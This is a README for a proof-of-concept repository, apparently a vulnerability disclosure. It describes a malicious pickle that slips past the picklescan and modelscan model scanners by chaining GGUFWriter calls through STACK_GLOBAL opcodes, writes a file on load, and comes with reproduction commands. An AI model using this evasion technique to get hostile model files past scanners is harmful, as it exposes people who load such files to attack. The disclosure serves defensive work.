GGUFWriter pickle scanner bypass PoC

This repository contains a minimal malicious pickle that bypasses both picklescan==1.0.4 and modelscan==0.8.8, then writes an attacker-controlled GGUF file during normal pickle.load().

The pickle uses raw STACK_GLOBAL opcodes for:

gguf.gguf_writer GGUFWriter
gguf.gguf_writer GGUFWriter.add_name
gguf.gguf_writer GGUFWriter.write_header_to_file
gguf.gguf_writer GGUFWriter.write_kv_data_to_file
gguf.gguf_writer GGUFWriter.write_tensors_to_file
gguf.gguf_writer GGUFWriter.close

It does not use builtins.getattr, os, subprocess, eval, or any global currently blocked by picklescan 1.0.4.

Reproduce

python3 -m venv /tmp/gguf-writer-scanner-bypass-venv
/tmp/gguf-writer-scanner-bypass-venv/bin/python -m pip install --upgrade pip
/tmp/gguf-writer-scanner-bypass-venv/bin/python -m pip install -r requirements.txt
/tmp/gguf-writer-scanner-bypass-venv/bin/python reproduce_gguf_writer_scanner_bypass.py

Expected output:

picklescan_clean=True
modelscan_clean=True
load_success=True
marker_exists=True
parsed_name_matches=True
REPRO_OK

The marker file is written to:

/tmp/mfv_gguf_writer_scanner_bypass_20260624.gguf

Parsing the written file with gguf.GGUFReader() returns:

general.name = MFV_GGUF_WRITER_SCANNER_BYPASS_20260624